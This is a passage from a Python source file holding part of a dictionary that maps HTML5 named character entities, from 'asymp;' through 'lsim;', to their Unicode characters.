        'asymp;': '\u2248',
        'asympeq;': '\u224d',
        'Atilde': '\xc3',
        'atilde': '\xe3',
        'Atilde;': '\xc3',
        'atilde;': '\xe3',
        'Auml': '\xc4',
        'auml': '\xe4',
        'Auml;': '\xc4',
        'auml;': '\xe4',
        'awconint;': '\u2233',
        'awint;': '\u2a11',
        'backcong;': '\u224c',
        'backepsilon;': '\u03f6',
        'backprime;': '\u2035',
        'backsim;': '\u223d',
        'backsimeq;': '\u22cd',
        'Backslash;': '\u2216',
        'Barv;': '\u2ae7',
        'barvee;': '\u22bd',
        'Barwed;': '\u2306',
        'barwed;': '\u2305',
        'barwedge;': '\u2305',
        'bbrk;': '\u23b5',
        'bbrktbrk;': '\u23b6',
        'bcong;': '\u224c',
        'Bcy;': '\u0411',
        'bcy;': '\u0431',
        'bdquo;': '\u201e',
        'becaus;': '\u2235',
        'Because;': '\u2235',
        'because;': '\u2235',
        'bemptyv;': '\u29b0',
        'bepsi;': '\u03f6',
        'bernou;': '\u212c',
        'Bernoullis;': '\u212c',
        'Beta;': '\u0392',
        'beta;': '\u03b2',
        'beth;': '\u2136',
        'between;': '\u226c',
        'Bfr;': '\U0001d505',
        'bfr;': '\U0001d51f',
        'bigcap;': '\u22c2',
        'bigcirc;': '\u25ef',
        'bigcup;': '\u22c3',
        'bigodot;': '\u2a00',
        'bigoplus;': '\u2a01',
        'bigotimes;': '\u2a02',
        'bigsqcup;': '\u2a06',
        'bigstar;': '\u2605',
        'bigtriangledown;': '\u25bd',
        'bigtriangleup;': '\u25b3',
        'biguplus;': '\u2a04',
        'bigvee;': '\u22c1',
        'bigwedge;': '\u22c0',
        'bkarow;': '\u290d',
        'blacklozenge;': '\u29eb',
        'blacksquare;': '\u25aa',
        'blacktriangle;': '\u25b4',
        'blacktriangledown;': '\u25be',
        'blacktriangleleft;': '\u25c2',
        'blacktriangleright;': '\u25b8',
        'blank;': '\u2423',
        'blk12;': '\u2592',
        'blk14;': '\u2591',
        'blk34;': '\u2593',
        'block;': '\u2588',
        'bne;': '=\u20e5',
        'bnequiv;': '\u2261\u20e5',
        'bNot;': '\u2aed',
        'bnot;': '\u2310',
        'Bopf;': '\U0001d539',
        'bopf;': '\U0001d553',
        'bot;': '\u22a5',
        'bottom;': '\u22a5',
        'bowtie;': '\u22c8',
        'boxbox;': '\u29c9',
        'boxDL;': '\u2557',
        'boxDl;': '\u2556',
        'boxdL;': '\u2555',
        'boxdl;': '\u2510',
        'boxDR;': '\u2554',
        'boxDr;': '\u2553',
        'boxdR;': '\u2552',
        'boxdr;': '\u250c',
        'boxH;': '\u2550',
        'boxh;': '\u2500',
        'boxHD;': '\u2566',
        'boxHd;': '\u2564',
        'boxhD;': '\u2565',
        'boxhd;': '\u252c',
        'boxHU;': '\u2569',
        'boxHu;': '\u2567',
        'boxhU;': '\u2568',
        'boxhu;': '\u2534',
        'boxminus;': '\u229f',
        'boxplus;': '\u229e',
        'boxtimes;': '\u22a0',
        'boxUL;': '\u255d',
        'boxUl;': '\u255c',
        'boxuL;': '\u255b',
        'boxul;': '\u2518',
        'boxUR;': '\u255a',
        'boxUr;': '\u2559',
        'boxuR;': '\u2558',
        'boxur;': '\u2514',
        'boxV;': '\u2551',
        'boxv;': '\u2502',
        'boxVH;': '\u256c',
        'boxVh;': '\u256b',
        'boxvH;': '\u256a',
        'boxvh;': '\u253c',
        'boxVL;': '\u2563',
        'boxVl;': '\u2562',
        'boxvL;': '\u2561',
        'boxvl;': '\u2524',
        'boxVR;': '\u2560',
        'boxVr;': '\u255f',
        'boxvR;': '\u255e',
        'boxvr;': '\u251c',
        'bprime;': '\u2035',
        'Breve;': '\u02d8',
        'breve;': '\u02d8',
        'brvbar': '\xa6',
        'brvbar;': '\xa6',
        'Bscr;': '\u212c',
        'bscr;': '\U0001d4b7',
        'bsemi;': '\u204f',
        'bsim;': '\u223d',
        'bsime;': '\u22cd',
        'bsol;': '\\',
        'bsolb;': '\u29c5',
        'bsolhsub;': '\u27c8',
        'bull;': '\u2022',
        'bullet;': '\u2022',
        'bump;': '\u224e',
        'bumpE;': '\u2aae',
        'bumpe;': '\u224f',
        'Bumpeq;': '\u224e',
        'bumpeq;': '\u224f',
        'Cacute;': '\u0106',
        'cacute;': '\u0107',
        'Cap;': '\u22d2',
        'cap;': '\u2229',
        'capand;': '\u2a44',
        'capbrcup;': '\u2a49',
        'capcap;': '\u2a4b',
        'capcup;': '\u2a47',
        'capdot;': '\u2a40',
        'CapitalDifferentialD;': '\u2145',
        'caps;': '\u2229\ufe00',
        'caret;': '\u2041',
        'caron;': '\u02c7',
        'Cayleys;': '\u212d',
        'ccaps;': '\u2a4d',
        'Ccaron;': '\u010c',
        'ccaron;': '\u010d',
        'Ccedil': '\xc7',
        'ccedil': '\xe7',
        'Ccedil;': '\xc7',
        'ccedil;': '\xe7',
        'Ccirc;': '\u0108',
        'ccirc;': '\u0109',
        'Cconint;': '\u2230',
        'ccups;': '\u2a4c',
        'ccupssm;': '\u2a50',
        'Cdot;': '\u010a',
        'cdot;': '\u010b',
        'cedil': '\xb8',
        'cedil;': '\xb8',
        'Cedilla;': '\xb8',
        'cemptyv;': '\u29b2',
        'cent': '\xa2',
        'cent;': '\xa2',
        'CenterDot;': '\xb7',
        'centerdot;': '\xb7',
        'Cfr;': '\u212d',
        'cfr;': '\U0001d520',
        'CHcy;': '\u0427',
        'chcy;': '\u0447',
        'check;': '\u2713',
        'checkmark;': '\u2713',
        'Chi;': '\u03a7',
        'chi;': '\u03c7',
        'cir;': '\u25cb',
        'circ;': '\u02c6',
        'circeq;': '\u2257',
        'circlearrowleft;': '\u21ba',
        'circlearrowright;': '\u21bb',
        'circledast;': '\u229b',
        'circledcirc;': '\u229a',
        'circleddash;': '\u229d',
        'CircleDot;': '\u2299',
        'circledR;': '\xae',
        'circledS;': '\u24c8',
        'CircleMinus;': '\u2296',
        'CirclePlus;': '\u2295',
        'CircleTimes;': '\u2297',
        'cirE;': '\u29c3',
        'cire;': '\u2257',
        'cirfnint;': '\u2a10',
        'cirmid;': '\u2aef',
        'cirscir;': '\u29c2',
        'ClockwiseContourIntegral;': '\u2232',
        'CloseCurlyDoubleQuote;': '\u201d',
        'CloseCurlyQuote;': '\u2019',
        'clubs;': '\u2663',
        'clubsuit;': '\u2663',
        'Colon;': '\u2237',
        'colon;': ':',
        'Colone;': '\u2a74',
        'colone;': '\u2254',
        'coloneq;': '\u2254',
        'comma;': ',',
        'commat;': '@',
        'comp;': '\u2201',
        'compfn;': '\u2218',
        'complement;': '\u2201',
        'complexes;': '\u2102',
        'cong;': '\u2245',
        'congdot;': '\u2a6d',
        'Congruent;': '\u2261',
        'Conint;': '\u222f',
        'conint;': '\u222e',
        'ContourIntegral;': '\u222e',
        'Copf;': '\u2102',
        'copf;': '\U0001d554',
        'coprod;': '\u2210',
        'Coproduct;': '\u2210',
        'COPY': '\xa9',
        'copy': '\xa9',
        'COPY;': '\xa9',
        'copy;': '\xa9',
        'copysr;': '\u2117',
        'CounterClockwiseContourIntegral;': '\u2233',
        'crarr;': '\u21b5',
        'Cross;': '\u2a2f',
        'cross;': '\u2717',
        'Cscr;': '\U0001d49e',
        'cscr;': '\U0001d4b8',
        'csub;': '\u2acf',
        'csube;': '\u2ad1',
        'csup;': '\u2ad0',
        'csupe;': '\u2ad2',
        'ctdot;': '\u22ef',
        'cudarrl;': '\u2938',
        'cudarrr;': '\u2935',
        'cuepr;': '\u22de',
        'cuesc;': '\u22df',
        'cularr;': '\u21b6',
        'cularrp;': '\u293d',
        'Cup;': '\u22d3',
        'cup;': '\u222a',
        'cupbrcap;': '\u2a48',
        'CupCap;': '\u224d',
        'cupcap;': '\u2a46',
        'cupcup;': '\u2a4a',
        'cupdot;': '\u228d',
        'cupor;': '\u2a45',
        'cups;': '\u222a\ufe00',
        'curarr;': '\u21b7',
        'curarrm;': '\u293c',
        'curlyeqprec;': '\u22de',
        'curlyeqsucc;': '\u22df',
        'curlyvee;': '\u22ce',
        'curlywedge;': '\u22cf',
        'curren': '\xa4',
        'curren;': '\xa4',
        'curvearrowleft;': '\u21b6',
        'curvearrowright;': '\u21b7',
        'cuvee;': '\u22ce',
        'cuwed;': '\u22cf',
        'cwconint;': '\u2232',
        'cwint;': '\u2231',
        'cylcty;': '\u232d',
        'Dagger;': '\u2021',
        'dagger;': '\u2020',
        'daleth;': '\u2138',
        'Darr;': '\u21a1',
        'dArr;': '\u21d3',
        'darr;': '\u2193',
        'dash;': '\u2010',
        'Dashv;': '\u2ae4',
        'dashv;': '\u22a3',
        'dbkarow;': '\u290f',
        'dblac;': '\u02dd',
        'Dcaron;': '\u010e',
        'dcaron;': '\u010f',
        'Dcy;': '\u0414',
        'dcy;': '\u0434',
        'DD;': '\u2145',
        'dd;': '\u2146',
        'ddagger;': '\u2021',
        'ddarr;': '\u21ca',
        'DDotrahd;': '\u2911',
        'ddotseq;': '\u2a77',
        'deg': '\xb0',
        'deg;': '\xb0',
        'Del;': '\u2207',
        'Delta;': '\u0394',
        'delta;': '\u03b4',
        'demptyv;': '\u29b1',
        'dfisht;': '\u297f',
        'Dfr;': '\U0001d507',
        'dfr;': '\U0001d521',
        'dHar;': '\u2965',
        'dharl;': '\u21c3',
        'dharr;': '\u21c2',
        'DiacriticalAcute;': '\xb4',
        'DiacriticalDot;': '\u02d9',
        'DiacriticalDoubleAcute;': '\u02dd',
        'DiacriticalGrave;': '`',
        'DiacriticalTilde;': '\u02dc',
        'diam;': '\u22c4',
        'Diamond;': '\u22c4',
        'diamond;': '\u22c4',
        'diamondsuit;': '\u2666',
        'diams;': '\u2666',
        'die;': '\xa8',
        'DifferentialD;': '\u2146',
        'digamma;': '\u03dd',
        'disin;': '\u22f2',
        'div;': '\xf7',
        'divide': '\xf7',
        'divide;': '\xf7',
        'divideontimes;': '\u22c7',
        'divonx;': '\u22c7',
        'DJcy;': '\u0402',
        'djcy;': '\u0452',
        'dlcorn;': '\u231e',
        'dlcrop;': '\u230d',
        'dollar;': '$',
        'Dopf;': '\U0001d53b',
        'dopf;': '\U0001d555',
        'Dot;': '\xa8',
        'dot;': '\u02d9',
        'DotDot;': '\u20dc',
        'doteq;': '\u2250',
        'doteqdot;': '\u2251',
        'DotEqual;': '\u2250',
        'dotminus;': '\u2238',
        'dotplus;': '\u2214',
        'dotsquare;': '\u22a1',
        'doublebarwedge;': '\u2306',
        'DoubleContourIntegral;': '\u222f',
        'DoubleDot;': '\xa8',
        'DoubleDownArrow;': '\u21d3',
        'DoubleLeftArrow;': '\u21d0',
        'DoubleLeftRightArrow;': '\u21d4',
        'DoubleLeftTee;': '\u2ae4',
        'DoubleLongLeftArrow;': '\u27f8',
        'DoubleLongLeftRightArrow;': '\u27fa',
        'DoubleLongRightArrow;': '\u27f9',
        'DoubleRightArrow;': '\u21d2',
        'DoubleRightTee;': '\u22a8',
        'DoubleUpArrow;': '\u21d1',
        'DoubleUpDownArrow;': '\u21d5',
        'DoubleVerticalBar;': '\u2225',
        'DownArrow;': '\u2193',
        'Downarrow;': '\u21d3',
        'downarrow;': '\u2193',
        'DownArrowBar;': '\u2913',
        'DownArrowUpArrow;': '\u21f5',
        'DownBreve;': '\u0311',
        'downdownarrows;': '\u21ca',
        'downharpoonleft;': '\u21c3',
        'downharpoonright;': '\u21c2',
        'DownLeftRightVector;': '\u2950',
        'DownLeftTeeVector;': '\u295e',
        'DownLeftVector;': '\u21bd',
        'DownLeftVectorBar;': '\u2956',
        'DownRightTeeVector;': '\u295f',
        'DownRightVector;': '\u21c1',
        'DownRightVectorBar;': '\u2957',
        'DownTee;': '\u22a4',
        'DownTeeArrow;': '\u21a7',
        'drbkarow;': '\u2910',
        'drcorn;': '\u231f',
        'drcrop;': '\u230c',
        'Dscr;': '\U0001d49f',
        'dscr;': '\U0001d4b9',
        'DScy;': '\u0405',
        'dscy;': '\u0455',
        'dsol;': '\u29f6',
        'Dstrok;': '\u0110',
        'dstrok;': '\u0111',
        'dtdot;': '\u22f1',
        'dtri;': '\u25bf',
        'dtrif;': '\u25be',
        'duarr;': '\u21f5',
        'duhar;': '\u296f',
        'dwangle;': '\u29a6',
        'DZcy;': '\u040f',
        'dzcy;': '\u045f',
        'dzigrarr;': '\u27ff',
        'Eacute': '\xc9',
        'eacute': '\xe9',
        'Eacute;': '\xc9',
        'eacute;': '\xe9',
        'easter;': '\u2a6e',
        'Ecaron;': '\u011a',
        'ecaron;': '\u011b',
        'ecir;': '\u2256',
        'Ecirc': '\xca',
        'ecirc': '\xea',
        'Ecirc;': '\xca',
        'ecirc;': '\xea',
        'ecolon;': '\u2255',
        'Ecy;': '\u042d',
        'ecy;': '\u044d',
        'eDDot;': '\u2a77',
        'Edot;': '\u0116',
        'eDot;': '\u2251',
        'edot;': '\u0117',
        'ee;': '\u2147',
        'efDot;': '\u2252',
        'Efr;': '\U0001d508',
        'efr;': '\U0001d522',
        'eg;': '\u2a9a',
        'Egrave': '\xc8',
        'egrave': '\xe8',
        'Egrave;': '\xc8',
        'egrave;': '\xe8',
        'egs;': '\u2a96',
        'egsdot;': '\u2a98',
        'el;': '\u2a99',
        'Element;': '\u2208',
        'elinters;': '\u23e7',
        'ell;': '\u2113',
        'els;': '\u2a95',
        'elsdot;': '\u2a97',
        'Emacr;': '\u0112',
        'emacr;': '\u0113',
        'empty;': '\u2205',
        'emptyset;': '\u2205',
        'EmptySmallSquare;': '\u25fb',
        'emptyv;': '\u2205',
        'EmptyVerySmallSquare;': '\u25ab',
        'emsp13;': '\u2004',
        'emsp14;': '\u2005',
        'emsp;': '\u2003',
        'ENG;': '\u014a',
        'eng;': '\u014b',
        'ensp;': '\u2002',
        'Eogon;': '\u0118',
        'eogon;': '\u0119',
        'Eopf;': '\U0001d53c',
        'eopf;': '\U0001d556',
        'epar;': '\u22d5',
        'eparsl;': '\u29e3',
        'eplus;': '\u2a71',
        'epsi;': '\u03b5',
        'Epsilon;': '\u0395',
        'epsilon;': '\u03b5',
        'epsiv;': '\u03f5',
        'eqcirc;': '\u2256',
        'eqcolon;': '\u2255',
        'eqsim;': '\u2242',
        'eqslantgtr;': '\u2a96',
        'eqslantless;': '\u2a95',
        'Equal;': '\u2a75',
        'equals;': '=',
        'EqualTilde;': '\u2242',
        'equest;': '\u225f',
        'Equilibrium;': '\u21cc',
        'equiv;': '\u2261',
        'equivDD;': '\u2a78',
        'eqvparsl;': '\u29e5',
        'erarr;': '\u2971',
        'erDot;': '\u2253',
        'Escr;': '\u2130',
        'escr;': '\u212f',
        'esdot;': '\u2250',
        'Esim;': '\u2a73',
        'esim;': '\u2242',
        'Eta;': '\u0397',
        'eta;': '\u03b7',
        'ETH': '\xd0',
        'eth': '\xf0',
        'ETH;': '\xd0',
        'eth;': '\xf0',
        'Euml': '\xcb',
        'euml': '\xeb',
        'Euml;': '\xcb',
        'euml;': '\xeb',
        'euro;': '\u20ac',
        'excl;': '!',
        'exist;': '\u2203',
        'Exists;': '\u2203',
        'expectation;': '\u2130',
        'ExponentialE;': '\u2147',
        'exponentiale;': '\u2147',
        'fallingdotseq;': '\u2252',
        'Fcy;': '\u0424',
        'fcy;': '\u0444',
        'female;': '\u2640',
        'ffilig;': '\ufb03',
        'fflig;': '\ufb00',
        'ffllig;': '\ufb04',
        'Ffr;': '\U0001d509',
        'ffr;': '\U0001d523',
        'filig;': '\ufb01',
        'FilledSmallSquare;': '\u25fc',
        'FilledVerySmallSquare;': '\u25aa',
        'fjlig;': 'fj',
        'flat;': '\u266d',
        'fllig;': '\ufb02',
        'fltns;': '\u25b1',
        'fnof;': '\u0192',
        'Fopf;': '\U0001d53d',
        'fopf;': '\U0001d557',
        'ForAll;': '\u2200',
        'forall;': '\u2200',
        'fork;': '\u22d4',
        'forkv;': '\u2ad9',
        'Fouriertrf;': '\u2131',
        'fpartint;': '\u2a0d',
        'frac12': '\xbd',
        'frac12;': '\xbd',
        'frac13;': '\u2153',
        'frac14': '\xbc',
        'frac14;': '\xbc',
        'frac15;': '\u2155',
        'frac16;': '\u2159',
        'frac18;': '\u215b',
        'frac23;': '\u2154',
        'frac25;': '\u2156',
        'frac34': '\xbe',
        'frac34;': '\xbe',
        'frac35;': '\u2157',
        'frac38;': '\u215c',
        'frac45;': '\u2158',
        'frac56;': '\u215a',
        'frac58;': '\u215d',
        'frac78;': '\u215e',
        'frasl;': '\u2044',
        'frown;': '\u2322',
        'Fscr;': '\u2131',
        'fscr;': '\U0001d4bb',
        'gacute;': '\u01f5',
        'Gamma;': '\u0393',
        'gamma;': '\u03b3',
        'Gammad;': '\u03dc',
        'gammad;': '\u03dd',
        'gap;': '\u2a86',
        'Gbreve;': '\u011e',
        'gbreve;': '\u011f',
        'Gcedil;': '\u0122',
        'Gcirc;': '\u011c',
        'gcirc;': '\u011d',
        'Gcy;': '\u0413',
        'gcy;': '\u0433',
        'Gdot;': '\u0120',
        'gdot;': '\u0121',
        'gE;': '\u2267',
        'ge;': '\u2265',
        'gEl;': '\u2a8c',
        'gel;': '\u22db',
        'geq;': '\u2265',
        'geqq;': '\u2267',
        'geqslant;': '\u2a7e',
        'ges;': '\u2a7e',
        'gescc;': '\u2aa9',
        'gesdot;': '\u2a80',
        'gesdoto;': '\u2a82',
        'gesdotol;': '\u2a84',
        'gesl;': '\u22db\ufe00',
        'gesles;': '\u2a94',
        'Gfr;': '\U0001d50a',
        'gfr;': '\U0001d524',
        'Gg;': '\u22d9',
        'gg;': '\u226b',
        'ggg;': '\u22d9',
        'gimel;': '\u2137',
        'GJcy;': '\u0403',
        'gjcy;': '\u0453',
        'gl;': '\u2277',
        'gla;': '\u2aa5',
        'glE;': '\u2a92',
        'glj;': '\u2aa4',
        'gnap;': '\u2a8a',
        'gnapprox;': '\u2a8a',
        'gnE;': '\u2269',
        'gne;': '\u2a88',
        'gneq;': '\u2a88',
        'gneqq;': '\u2269',
        'gnsim;': '\u22e7',
        'Gopf;': '\U0001d53e',
        'gopf;': '\U0001d558',
        'grave;': '`',
        'GreaterEqual;': '\u2265',
        'GreaterEqualLess;': '\u22db',
        'GreaterFullEqual;': '\u2267',
        'GreaterGreater;': '\u2aa2',
        'GreaterLess;': '\u2277',
        'GreaterSlantEqual;': '\u2a7e',
        'GreaterTilde;': '\u2273',
        'Gscr;': '\U0001d4a2',
        'gscr;': '\u210a',
        'gsim;': '\u2273',
        'gsime;': '\u2a8e',
        'gsiml;': '\u2a90',
        'GT': '>',
        'gt': '>',
        'GT;': '>',
        'Gt;': '\u226b',
        'gt;': '>',
        'gtcc;': '\u2aa7',
        'gtcir;': '\u2a7a',
        'gtdot;': '\u22d7',
        'gtlPar;': '\u2995',
        'gtquest;': '\u2a7c',
        'gtrapprox;': '\u2a86',
        'gtrarr;': '\u2978',
        'gtrdot;': '\u22d7',
        'gtreqless;': '\u22db',
        'gtreqqless;': '\u2a8c',
        'gtrless;': '\u2277',
        'gtrsim;': '\u2273',
        'gvertneqq;': '\u2269\ufe00',
        'gvnE;': '\u2269\ufe00',
        'Hacek;': '\u02c7',
        'hairsp;': '\u200a',
        'half;': '\xbd',
        'hamilt;': '\u210b',
        'HARDcy;': '\u042a',
        'hardcy;': '\u044a',
        'hArr;': '\u21d4',
        'harr;': '\u2194',
        'harrcir;': '\u2948',
        'harrw;': '\u21ad',
        'Hat;': '^',
        'hbar;': '\u210f',
        'Hcirc;': '\u0124',
        'hcirc;': '\u0125',
        'hearts;': '\u2665',
        'heartsuit;': '\u2665',
        'hellip;': '\u2026',
        'hercon;': '\u22b9',
        'Hfr;': '\u210c',
        'hfr;': '\U0001d525',
        'HilbertSpace;': '\u210b',
        'hksearow;': '\u2925',
        'hkswarow;': '\u2926',
        'hoarr;': '\u21ff',
        'homtht;': '\u223b',
        'hookleftarrow;': '\u21a9',
        'hookrightarrow;': '\u21aa',
        'Hopf;': '\u210d',
        'hopf;': '\U0001d559',
        'horbar;': '\u2015',
        'HorizontalLine;': '\u2500',
        'Hscr;': '\u210b',
        'hscr;': '\U0001d4bd',
        'hslash;': '\u210f',
        'Hstrok;': '\u0126',
        'hstrok;': '\u0127',
        'HumpDownHump;': '\u224e',
        'HumpEqual;': '\u224f',
        'hybull;': '\u2043',
        'hyphen;': '\u2010',
        'Iacute': '\xcd',
        'iacute': '\xed',
        'Iacute;': '\xcd',
        'iacute;': '\xed',
        'ic;': '\u2063',
        'Icirc': '\xce',
        'icirc': '\xee',
        'Icirc;': '\xce',
        'icirc;': '\xee',
        'Icy;': '\u0418',
        'icy;': '\u0438',
        'Idot;': '\u0130',
        'IEcy;': '\u0415',
        'iecy;': '\u0435',
        'iexcl': '\xa1',
        'iexcl;': '\xa1',
        'iff;': '\u21d4',
        'Ifr;': '\u2111',
        'ifr;': '\U0001d526',
        'Igrave': '\xcc',
        'igrave': '\xec',
        'Igrave;': '\xcc',
        'igrave;': '\xec',
        'ii;': '\u2148',
        'iiiint;': '\u2a0c',
        'iiint;': '\u222d',
        'iinfin;': '\u29dc',
        'iiota;': '\u2129',
        'IJlig;': '\u0132',
        'ijlig;': '\u0133',
        'Im;': '\u2111',
        'Imacr;': '\u012a',
        'imacr;': '\u012b',
        'image;': '\u2111',
        'ImaginaryI;': '\u2148',
        'imagline;': '\u2110',
        'imagpart;': '\u2111',
        'imath;': '\u0131',
        'imof;': '\u22b7',
        'imped;': '\u01b5',
        'Implies;': '\u21d2',
        'in;': '\u2208',
        'incare;': '\u2105',
        'infin;': '\u221e',
        'infintie;': '\u29dd',
        'inodot;': '\u0131',
        'Int;': '\u222c',
        'int;': '\u222b',
        'intcal;': '\u22ba',
        'integers;': '\u2124',
        'Integral;': '\u222b',
        'intercal;': '\u22ba',
        'Intersection;': '\u22c2',
        'intlarhk;': '\u2a17',
        'intprod;': '\u2a3c',
        'InvisibleComma;': '\u2063',
        'InvisibleTimes;': '\u2062',
        'IOcy;': '\u0401',
        'iocy;': '\u0451',
        'Iogon;': '\u012e',
        'iogon;': '\u012f',
        'Iopf;': '\U0001d540',
        'iopf;': '\U0001d55a',
        'Iota;': '\u0399',
        'iota;': '\u03b9',
        'iprod;': '\u2a3c',
        'iquest': '\xbf',
        'iquest;': '\xbf',
        'Iscr;': '\u2110',
        'iscr;': '\U0001d4be',
        'isin;': '\u2208',
        'isindot;': '\u22f5',
        'isinE;': '\u22f9',
        'isins;': '\u22f4',
        'isinsv;': '\u22f3',
        'isinv;': '\u2208',
        'it;': '\u2062',
        'Itilde;': '\u0128',
        'itilde;': '\u0129',
        'Iukcy;': '\u0406',
        'iukcy;': '\u0456',
        'Iuml': '\xcf',
        'iuml': '\xef',
        'Iuml;': '\xcf',
        'iuml;': '\xef',
        'Jcirc;': '\u0134',
        'jcirc;': '\u0135',
        'Jcy;': '\u0419',
        'jcy;': '\u0439',
        'Jfr;': '\U0001d50d',
        'jfr;': '\U0001d527',
        'jmath;': '\u0237',
        'Jopf;': '\U0001d541',
        'jopf;': '\U0001d55b',
        'Jscr;': '\U0001d4a5',
        'jscr;': '\U0001d4bf',
        'Jsercy;': '\u0408',
        'jsercy;': '\u0458',
        'Jukcy;': '\u0404',
        'jukcy;': '\u0454',
        'Kappa;': '\u039a',
        'kappa;': '\u03ba',
        'kappav;': '\u03f0',
        'Kcedil;': '\u0136',
        'kcedil;': '\u0137',
        'Kcy;': '\u041a',
        'kcy;': '\u043a',
        'Kfr;': '\U0001d50e',
        'kfr;': '\U0001d528',
        'kgreen;': '\u0138',
        'KHcy;': '\u0425',
        'khcy;': '\u0445',
        'KJcy;': '\u040c',
        'kjcy;': '\u045c',
        'Kopf;': '\U0001d542',
        'kopf;': '\U0001d55c',
        'Kscr;': '\U0001d4a6',
        'kscr;': '\U0001d4c0',
        'lAarr;': '\u21da',
        'Lacute;': '\u0139',
        'lacute;': '\u013a',
        'laemptyv;': '\u29b4',
        'lagran;': '\u2112',
        'Lambda;': '\u039b',
        'lambda;': '\u03bb',
        'Lang;': '\u27ea',
        'lang;': '\u27e8',
        'langd;': '\u2991',
        'langle;': '\u27e8',
        'lap;': '\u2a85',
        'Laplacetrf;': '\u2112',
        'laquo': '\xab',
        'laquo;': '\xab',
        'Larr;': '\u219e',
        'lArr;': '\u21d0',
        'larr;': '\u2190',
        'larrb;': '\u21e4',
        'larrbfs;': '\u291f',
        'larrfs;': '\u291d',
        'larrhk;': '\u21a9',
        'larrlp;': '\u21ab',
        'larrpl;': '\u2939',
        'larrsim;': '\u2973',
        'larrtl;': '\u21a2',
        'lat;': '\u2aab',
        'lAtail;': '\u291b',
        'latail;': '\u2919',
        'late;': '\u2aad',
        'lates;': '\u2aad\ufe00',
        'lBarr;': '\u290e',
        'lbarr;': '\u290c',
        'lbbrk;': '\u2772',
        'lbrace;': '{',
        'lbrack;': '[',
        'lbrke;': '\u298b',
        'lbrksld;': '\u298f',
        'lbrkslu;': '\u298d',
        'Lcaron;': '\u013d',
        'lcaron;': '\u013e',
        'Lcedil;': '\u013b',
        'lcedil;': '\u013c',
        'lceil;': '\u2308',
        'lcub;': '{',
        'Lcy;': '\u041b',
        'lcy;': '\u043b',
        'ldca;': '\u2936',
        'ldquo;': '\u201c',
        'ldquor;': '\u201e',
        'ldrdhar;': '\u2967',
        'ldrushar;': '\u294b',
        'ldsh;': '\u21b2',
        'lE;': '\u2266',
        'le;': '\u2264',
        'LeftAngleBracket;': '\u27e8',
        'LeftArrow;': '\u2190',
        'Leftarrow;': '\u21d0',
        'leftarrow;': '\u2190',
        'LeftArrowBar;': '\u21e4',
        'LeftArrowRightArrow;': '\u21c6',
        'leftarrowtail;': '\u21a2',
        'LeftCeiling;': '\u2308',
        'LeftDoubleBracket;': '\u27e6',
        'LeftDownTeeVector;': '\u2961',
        'LeftDownVector;': '\u21c3',
        'LeftDownVectorBar;': '\u2959',
        'LeftFloor;': '\u230a',
        'leftharpoondown;': '\u21bd',
        'leftharpoonup;': '\u21bc',
        'leftleftarrows;': '\u21c7',
        'LeftRightArrow;': '\u2194',
        'Leftrightarrow;': '\u21d4',
        'leftrightarrow;': '\u2194',
        'leftrightarrows;': '\u21c6',
        'leftrightharpoons;': '\u21cb',
        'leftrightsquigarrow;': '\u21ad',
        'LeftRightVector;': '\u294e',
        'LeftTee;': '\u22a3',
        'LeftTeeArrow;': '\u21a4',
        'LeftTeeVector;': '\u295a',
        'leftthreetimes;': '\u22cb',
        'LeftTriangle;': '\u22b2',
        'LeftTriangleBar;': '\u29cf',
        'LeftTriangleEqual;': '\u22b4',
        'LeftUpDownVector;': '\u2951',
        'LeftUpTeeVector;': '\u2960',
        'LeftUpVector;': '\u21bf',
        'LeftUpVectorBar;': '\u2958',
        'LeftVector;': '\u21bc',
        'LeftVectorBar;': '\u2952',
        'lEg;': '\u2a8b',
        'leg;': '\u22da',
        'leq;': '\u2264',
        'leqq;': '\u2266',
        'leqslant;': '\u2a7d',
        'les;': '\u2a7d',
        'lescc;': '\u2aa8',
        'lesdot;': '\u2a7f',
        'lesdoto;': '\u2a81',
        'lesdotor;': '\u2a83',
        'lesg;': '\u22da\ufe00',
        'lesges;': '\u2a93',
        'lessapprox;': '\u2a85',
        'lessdot;': '\u22d6',
        'lesseqgtr;': '\u22da',
        'lesseqqgtr;': '\u2a8b',
        'LessEqualGreater;': '\u22da',
        'LessFullEqual;': '\u2266',
        'LessGreater;': '\u2276',
        'lessgtr;': '\u2276',
        'LessLess;': '\u2aa1',
        'lesssim;': '\u2272',
        'LessSlantEqual;': '\u2a7d',
        'LessTilde;': '\u2272',
        'lfisht;': '\u297c',
        'lfloor;': '\u230a',
        'Lfr;': '\U0001d50f',
        'lfr;': '\U0001d529',
        'lg;': '\u2276',
        'lgE;': '\u2a91',
        'lHar;': '\u2962',
        'lhard;': '\u21bd',
        'lharu;': '\u21bc',
        'lharul;': '\u296a',
        'lhblk;': '\u2584',
        'LJcy;': '\u0409',
        'ljcy;': '\u0459',
        'Ll;': '\u22d8',
        'll;': '\u226a',
        'llarr;': '\u21c7',
        'llcorner;': '\u231e',
        'Lleftarrow;': '\u21da',
        'llhard;': '\u296b',
        'lltri;': '\u25fa',
        'Lmidot;': '\u013f',
        'lmidot;': '\u0140',
        'lmoust;': '\u23b0',
        'lmoustache;': '\u23b0',
        'lnap;': '\u2a89',
        'lnapprox;': '\u2a89',
        'lnE;': '\u2268',
        'lne;': '\u2a87',
        'lneq;': '\u2a87',
        'lneqq;': '\u2268',
        'lnsim;': '\u22e6',
        'loang;': '\u27ec',
        'loarr;': '\u21fd',
        'lobrk;': '\u27e6',
        'LongLeftArrow;': '\u27f5',
        'Longleftarrow;': '\u27f8',
        'longleftarrow;': '\u27f5',
        'LongLeftRightArrow;': '\u27f7',
        'Longleftrightarrow;': '\u27fa',
        'longleftrightarrow;': '\u27f7',
        'longmapsto;': '\u27fc',
        'LongRightArrow;': '\u27f6',
        'Longrightarrow;': '\u27f9',
        'longrightarrow;': '\u27f6',
        'looparrowleft;': '\u21ab',
        'looparrowright;': '\u21ac',
        'lopar;': '\u2985',
        'Lopf;': '\U0001d543',
        'lopf;': '\U0001d55d',
        'loplus;': '\u2a2d',
        'lotimes;': '\u2a34',
        'lowast;': '\u2217',
        'lowbar;': '_',
        'LowerLeftArrow;': '\u2199',
        'LowerRightArrow;': '\u2198',
        'loz;': '\u25ca',
        'lozenge;': '\u25ca',
        'lozf;': '\u29eb',
        'lpar;': '(',
        'lparlt;': '\u2993',
        'lrarr;': '\u21c6',
        'lrcorner;': '\u231f',
        'lrhar;': '\u21cb',
        'lrhard;': '\u296d',
        'lrm;': '\u200e',
        'lrtri;': '\u22bf',
        'lsaquo;': '\u2039',
        'Lscr;': '\u2112',
        'lscr;': '\U0001d4c1',
        'Lsh;': '\u21b0',
        'lsh;': '\u21b0',
        'lsim;': '\u2272',
